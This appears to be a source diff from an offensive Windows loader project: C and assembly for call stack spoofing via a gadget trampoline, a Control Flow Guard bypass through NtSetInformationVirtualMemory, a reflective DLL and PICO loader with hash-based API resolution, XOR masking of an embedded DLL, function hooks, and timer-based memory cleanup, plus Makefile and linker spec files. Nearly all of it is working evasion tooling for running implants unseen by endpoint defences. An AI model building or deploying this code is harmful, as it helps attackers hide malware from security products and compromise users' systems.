*virtual_address = section_header[ i ].VirtualAddress;
*size = section_header[ i ].SizeOfRawData;
return TRUE;
}
}
return FALSE;
}
PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base )
{
UNWIND_INFO * unwind_info = NULL;
ULONG unwind_operation = 0;
ULONG operation_info = 0;
ULONG index = 0;
ULONG frame_offset = 0;
STACK_FRAME stack_frame = { 0 };
if ( ! runtime_function ) {
return NULL;
}
unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base );
while ( index < unwind_info->CountOfCodes )
{
unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp;
operation_info = unwind_info->UnwindCode[ index ].OpInfo;
/* don't use switch as it produces jump tables */
if ( unwind_operation == UWOP_PUSH_NONVOL )
{
stack_frame.TotalStackSize += 8;
if ( operation_info == RBP_OP_INFO )
{
stack_frame.PushRbp = TRUE;
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
stack_frame.PushRbpIndex = index + 1;
}
}
else if ( unwind_operation == UWOP_SAVE_NONVOL )
{
index += 1;
}
else if ( unwind_operation == UWOP_ALLOC_SMALL )
{
stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 );
}
else if ( unwind_operation == UWOP_ALLOC_LARGE )
{
index += 1;
frame_offset = unwind_info->UnwindCode[ index ].FrameOffset;
if (operation_info == 0)
{
frame_offset *= 8;
}
else
{
index += 1;
frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 );
}
stack_frame.TotalStackSize += frame_offset;
}
else if ( unwind_operation == UWOP_SET_FPREG )
{
stack_frame.SetsFramePointer = TRUE;
}
else if ( unwind_operation == UWOP_SAVE_XMM128 )
{
return NULL;
}
index += 1;
}
if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) )
{
index = unwind_info->CountOfCodes;
if ( 0 != ( index & 1 ) )
{
index += 1;
}
runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] );
return calculate_function_stack_size ( runtime_function, image_base );
}
stack_frame.TotalStackSize += 8;
return ( PVOID ) ( stack_frame.TotalStackSize );
}
PVOID calculate_function_stack_size_wrapper ( PVOID return_address )
{
RUNTIME_FUNCTION * runtime_function = NULL;
DWORD64 image_base = 0;
PUNWIND_HISTORY_TABLE history_table = NULL;
if ( ! return_address ) {
return NULL;
}
runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table );
if ( NULL == runtime_function ) {
return NULL;
}
return calculate_function_stack_size ( runtime_function, image_base );
}
PVOID find_gadget( PVOID module )
{
BOOL found_gadgets = FALSE;
DWORD text_section_size = 0;
DWORD text_section_va = 0;
DWORD counter = 0;
ULONG seed = 0;
ULONG random = 0;
PVOID module_text_section = NULL;
PVOID gadget_list [ 15 ] = { 0 };
if ( ! found_gadgets )
{
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
return NULL;
}
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
{
/* x64 opcodes are ff 23 */
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
{
/* check for a call before the gadget */
if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 )
{
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
counter++;
if ( counter == 15 ) {
break;
}
}
}
}
found_gadgets = TRUE;
}
seed = 0x1337;
random = NTDLL$RtlRandomEx ( &seed );
random %= counter;
return gadget_list [ random ];
}
ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 )
{
int attempts = 0;
PVOID return_address = NULL;
DRAUGR_PARAMETERS draugr_params = { 0 };
if ( ssn ) {
draugr_params.Ssn = ( PVOID ) ( ULONG_PTR ) ssn;
}
SYNTHETIC_STACK_FRAME frame;
init_frame_info ( &frame );
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) {
return ( ULONG_PTR ) ( NULL );
}
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset );
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address );
draugr_params.RtlUserThreadStartReturnAddress = return_address;
if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) {
return ( ULONG_PTR ) ( NULL );
}
do
{
draugr_params.Trampoline = find_gadget ( frame.Gadget );
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
attempts++;
if ( attempts > 15 ) {
return ( ULONG_PTR ) ( NULL );
}
} while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) );
if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) {
return ( ULONG_PTR ) ( NULL );
}
return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 );
}
ULONG_PTR spoof_call ( FUNCTION_CALL * call )
{
/* very inelegant */
if ( call->argc == 0 ) {
return draugr_wrapper ( call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 1 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 2 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 3 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 4 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 5 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 6 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 7 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 8 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL );
} else if ( call->argc == 9 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL );
} else if ( call->argc == 10 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL );
} else if ( call->argc == 11 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL );
} else if ( call->argc == 12 ) {
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) );
} else {
return ( ULONG_PTR ) ( NULL );
}
}
+10
View File
@@ -0,0 +1,10 @@
#define spoof_arg(x) ( ULONG_PTR ) ( x )
typedef struct {
PVOID ptr;
DWORD ssn;
int argc;
ULONG_PTR args[10];
} FUNCTION_CALL;
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
@@ -15,7 +15,7 @@
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AS IS AND ANY EXPRESS
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
@@ -25,47 +25,62 @@
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// used by both the Pico Loader and DLL loader
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
FARPROC __resolve_hook(DWORD funcHash);
/*
* Structs used by our DLL loader
*/
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct {
IMAGE_DOS_HEADER * DosHeader;
IMAGE_NT_HEADERS * NtHeaders;
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
/*
* utility functions
*/
DWORD adler32sum(unsigned char * buffer, DWORD length);
DWORD ror13hash(const char * c);
/*
* printf-style debugging.
*/
void dprintf(char * format, ...);
/*
* PICO running functions
*/
typedef void (*PICOMAIN_FUNC)(char * arg);
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
int PicoCodeSize(char * src);
int PicoDataSize(char * src);
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
/*
* Resolve functions by walking the export address table
*/
void * findFunctionByHash(char * src, DWORD wantedFunction);
char * findModuleByHash(DWORD moduleHash);
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
HANDLE findModuleByHash(DWORD moduleHash);
/*
* DLL parsing and loading functions
*/
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
void LoadDLL(DLLDATA * dll, char * src, char * dst);
@@ -74,7 +89,7 @@ void ParseDLL(char * src, DLLDATA * data);
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
DWORD SizeOfDLL(DLLDATA * data);
/*
* A macro to figure out our caller
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
@@ -84,4 +99,4 @@ DWORD SizeOfDLL(DLLDATA * data);
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
#endif
+21
View File
@@ -0,0 +1,21 @@
CC_64=x86_64-w64-mingw32-gcc
NASM=nasm
all: bin/loader.x64.o
bin:
mkdir bin
bin/loader.x64.o: bin
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o
$(NASM) src/draugr.asm -o bin/draugr.x64.bin
clean:
rm -f bin/*
Binary file not shown.
+48
View File
@@ -0,0 +1,48 @@
x64:
load "bin/loader.x64.o"
make pic +gofirst +optimize +disco
# merge pic services
run "services.spec"
patch "get_module_handle" $GMH
patch "get_proc_address" $GPA
# merge hooks into the loader
load "bin/hooks.x64.o"
merge
# merge call stack spoofing into the loader
load "bin/spoof.x64.o"
merge
# load the stack spoofing assembly
load "bin/draugr.x64.bin"
# link is ok here because loader
# will be in RX or RWX memory
link "draugr_stub"
# hook functions that the loader uses
attach "KERNEL32$LoadLibraryA" "_LoadLibraryA"
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
attach "KERNEL32$VirtualFree" "_VirtualFree"
preserve "KERNEL32$LoadLibraryA" "init_frame_info"
# mask & link the dll
generate $MASK 128
push $DLL
xor $MASK
preplen
link "dll"
push $MASK
preplen
link "mask"
# now get the tradecraft as a PICO
run "pico.spec"
link "pico"
export
+35
View File
@@ -0,0 +1,35 @@
x64:
load "bin/pico.x64.o"
make object +disco
# merge the hook functions
load "bin/hooks.x64.o"
merge
# merge the call stack spoofing
load "bin/spoof.x64.o"
merge
# merge the asm stub
load "bin/draugr.x64.bin"
linkfunc "draugr_stub"
# merge cfg code
load "bin/cfg.x64.o"
merge
# merge cleanup
load "bin/cleanup.x64.o"
merge
# export setup_hooks and setup_memory
exportfunc "setup_hooks" "__tag_setup_hooks"
exportfunc "setup_memory" "__tag_setup_memory"
# hook functions in the DLL
addhook "KERNEL32$LoadLibraryW" "_LoadLibraryW"
addhook "KERNEL32$ExitThread" "_ExitThread"
mergelib "../libtcg.x64.zip"
export
+7
View File
@@ -0,0 +1,7 @@
x64:
load "bin/services.x64.o"
merge
mergelib "../libtcg.x64.zip"
dfr "resolve" "strings"
+78
View File
@@ -0,0 +1,78 @@
#include <windows.h>
#include "cfg.h"
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG );
BOOL cfg_enabled ( )
{
EXTENDED_PROCESS_INFORMATION proc_info = { 0 };
NTSTATUS status = 0;
proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy;
proc_info.ExtendedProcessInfoBuffer = 0;
status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL );
if ( ! NT_SUCCESS ( status ) ) {
return FALSE;
}
return proc_info.ExtendedProcessInfoBuffer;
}
BOOL bypass_cfg ( PVOID address )
{
MEMORY_BASIC_INFORMATION mbi = { 0 };
VM_INFORMATION vmi = { 0 };
MEMORY_RANGE_ENTRY mre = { 0 };
CFG_CALL_TARGET_INFO cti = { 0 };
NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 );
if ( ! NT_SUCCESS ( status ) ) {
return FALSE;
}
if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) {
return FALSE;
}
cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress;
cti.Flags = CFG_CALL_TARGET_VALID;
mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize;
mre.VirtualAddress = ( PVOID ) mbi.BaseAddress;
ULONG output = 0;
vmi.dwNumberOfOffsets = 0x1;
vmi.plOutput = &output;
vmi.ptOffsets = &cti;
vmi.pMustBeZero = 0x0;
vmi.pMoarZero = 0x0;
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) );
if ( status == 0xC00000F4 )
{
/* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 );
}
if ( ! NT_SUCCESS ( status ) )
{
/* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */
if ( status == 0xC0000045 )
{
/* pretend we bypassed it so timers can continue */
return TRUE;
}
return FALSE;
}
return TRUE;
}
+38
View File
@@ -0,0 +1,38 @@
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
typedef struct {
ULONG ExtendedProcessInfo;
ULONG ExtendedProcessInfoBuffer;
} EXTENDED_PROCESS_INFORMATION;
typedef enum {
ProcessUserModeIOPL = 16,
ProcessCookie = 36
} PROCESSINFOCLASS;
typedef struct {
DWORD dwNumberOfOffsets;
PULONG plOutput;
PCFG_CALL_TARGET_INFO ptOffsets;
PVOID pMustBeZero;
PVOID pMoarZero;
} VM_INFORMATION;
typedef enum {
VmPrefetchInformation,
VmPagePriorityInformation,
VmCfgCallTargetInformation
} VIRTUAL_MEMORY_INFORMATION_CLASS;
typedef struct {
PVOID VirtualAddress;
SIZE_T NumberOfBytes;
} MEMORY_RANGE_ENTRY;
typedef enum {
MemoryBasicInformation
} MEMORY_INFORMATION_CLASS;
BOOL cfg_enabled ( );
BOOL bypass_cfg ( PVOID address );
+95
View File
@@ -0,0 +1,95 @@
#include <windows.h>
#include "memory.h"
#include "cfg.h"
#include "spoof.h"
#include "tcg.h"
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z );
#define NTDLL_HASH 0x3CFA685D
#define VIRTUALFREE_HASH 0x30633AC
void cleanup_memory ( MEMORY_LAYOUT * memory )
{
/* is cfg enabled? */
BOOL enabled = cfg_enabled ( );
if ( enabled ) {
/* try to bypass it at NtContinue */
if ( bypass_cfg ( NTDLL$NtContinue ) ) {
enabled = FALSE;
}
}
/*
* just return if we
* failed to bypass it
*/
if ( enabled ) {
return;
}
/*
* crack on and setup a timer
* to free the memory regions
*/
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL;
if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
{
/* give RtlCaptureContext a chance to run */
KERNEL32$Sleep ( 100 );
if ( ctx.Rip != 0 )
{
HANDLE heap = KERNEL32$GetProcessHeap ( );
CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 );
for ( int i = 0; i < 2; i++ ) {
memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) );
}
/*
* we use VirtualFree here because
* the loader uses VirtualAlloc
*/
/* the dll */
ctx_free[ 0 ].Rsp -= sizeof ( PVOID );
ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress );
ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 );
ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
/* this pico */
ctx_free[ 1 ].Rsp -= sizeof ( PVOID );
ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress );
ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 );
ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
dprintf("dll @ 0x%p\n", memory->Dll.BaseAddress);
dprintf("pico @ 0x%p\n", memory->Pico.BaseAddress);
/* give a decent delay so ExitThread has time to be called */
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
}
}
}
+1
View File
@@ -0,0 +1 @@
void cleanup_memory ( MEMORY_LAYOUT * memory );
+147
View File
@@ -0,0 +1,147 @@
[BITS 64]
draugr_stub:
pop rax ; Real return address in rax
mov r10, rdi ; Store OG rdi in r10
mov r11, rsi ; Store OG rsi in r11
mov rdi, [ rsp + 32 ] ; Storing struct in rdi
mov rsi, [ rsp + 40 ] ; Storing function to call
; ---------------------------------------------------------------------
; Storing our original registers
; ---------------------------------------------------------------------
mov [ rdi + 24 ], r10 ; Storing OG rdi into param
mov [ rdi + 88 ], r11 ; Storing OG rsi into param
mov [ rdi + 96 ], r12 ; Storing OG r12 into param
mov [ rdi + 104 ], r13 ; Storing OG r13 into param
mov [ rdi + 112 ], r14 ; Storing OG r14 into param
mov [ rdi + 120 ], r15 ; Storing OG r15 into param
mov r12, rax ; OG code used r12 for ret addr
; ---------------------------------------------------------------------
; Prepping to move stack args
; ---------------------------------------------------------------------
xor r11, r11 ; r11 will hold the # of args that have been "pushed"
mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed
mov r14, 0x200 ; r14 will hold the offset we need to push stuff
add r14, 8
add r14, [ rdi + 56 ] ; stack size of RUTS
add r14, [ rdi + 48 ] ; stack size of BTIT
add r14, [ rdi + 32 ] ; stack size of our gadget frame
sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time
mov r10, rsp
add r10, 0x30 ; offset of stack arg added to rsp
looping:
xor r15, r15 ; r15 will hold the offset + rsp base
cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add
je finish
; ---------------------------------------------------------------------
; Getting location to move the stack arg to
; ---------------------------------------------------------------------
sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset.
mov r15, rsp ; get current stack base
sub r15, r14 ; subtract offset
; ---------------------------------------------------------------------
; Procuring the stack arg
; ---------------------------------------------------------------------
add r10, 8
push qword [ r10 ]
pop qword [ r15 ]
; ---------------------------------------------------------------------
; Increment the counter and loop back in case we need more args
; ---------------------------------------------------------------------
add r11, 1
jmp looping
finish:
; ----------------------------------------------------------------------
; Creating a big 320 byte working space
; ----------------------------------------------------------------------
sub rsp, 0x200
; ----------------------------------------------------------------------
; Pushing a 0 to cut off the return addresses after RtlUserThreadStart.
; Need to figure out why this cuts off the call stack
; ----------------------------------------------------------------------
push 0
; ----------------------------------------------------------------------
; RtlUserThreadStart + 0x14 frame
; ----------------------------------------------------------------------
sub rsp, [ rdi + 56 ]
mov r11, [ rdi + 64 ]
mov [ rsp ], r11
; ----------------------------------------------------------------------
; BaseThreadInitThunk + 0x21 frame
; ----------------------------------------------------------------------
sub rsp, [ rdi + 32 ]
mov r11, [ rdi + 40 ]
mov [ rsp ], r11
; ----------------------------------------------------------------------
; Gadget frame
; ----------------------------------------------------------------------
sub rsp, [ rdi + 48 ]
mov r11, [ rdi + 80 ]
mov [ rsp ], r11
; ----------------------------------------------------------------------
; Adjusting the param struct for the fixup
; ----------------------------------------------------------------------
mov r11, rsi ; Copying function to call into r11
mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member
mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member
lea rbx, [ rel fixup ] ; Fixup address is moved into rbx
mov [ rdi ], rbx ; Fixup member now holds the address of Fixup
mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx
; ----------------------------------------------------------------------
; Syscall stuff. Shouldn't affect performance even if a syscall isnt made
; ----------------------------------------------------------------------
mov r10, rcx
mov rax, [ rdi + 72 ]
jmp r11
fixup:
mov rcx, rbx
add rsp, 0x200 ; Big frame thing
add rsp, [ rbx + 48 ] ; Stack size
add rsp, [ rbx + 32 ] ; Stack size
add rsp, [ rbx + 56 ] ; Stack size
mov rbx, [ rcx + 16 ] ; Restoring OG RBX
mov rdi, [ rcx + 24 ] ; ReStoring OG rdi
mov rsi, [ rcx + 88 ] ; ReStoring OG rsi
mov r12, [ rcx + 96 ] ; ReStoring OG r12
mov r13, [ rcx + 104 ] ; ReStoring OG r13
mov r14, [ rcx + 112 ] ; ReStoring OG r14
mov r15, [ rcx + 120 ] ; ReStoring OG r15
push rax
xor rax, rax
pop rax
jmp QWORD [ rcx + 8 ]
+1
View File
@@ -0,0 +1 @@
#define LOADLIBRARYEXW_HASH 0x753A512
+210
View File
@@ -0,0 +1,210 @@
#include <windows.h>
#include <wininet.h>
#include <combaseapi.h>
#include "tcg.h"
#include "spoof.h"
#include "hash.h"
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
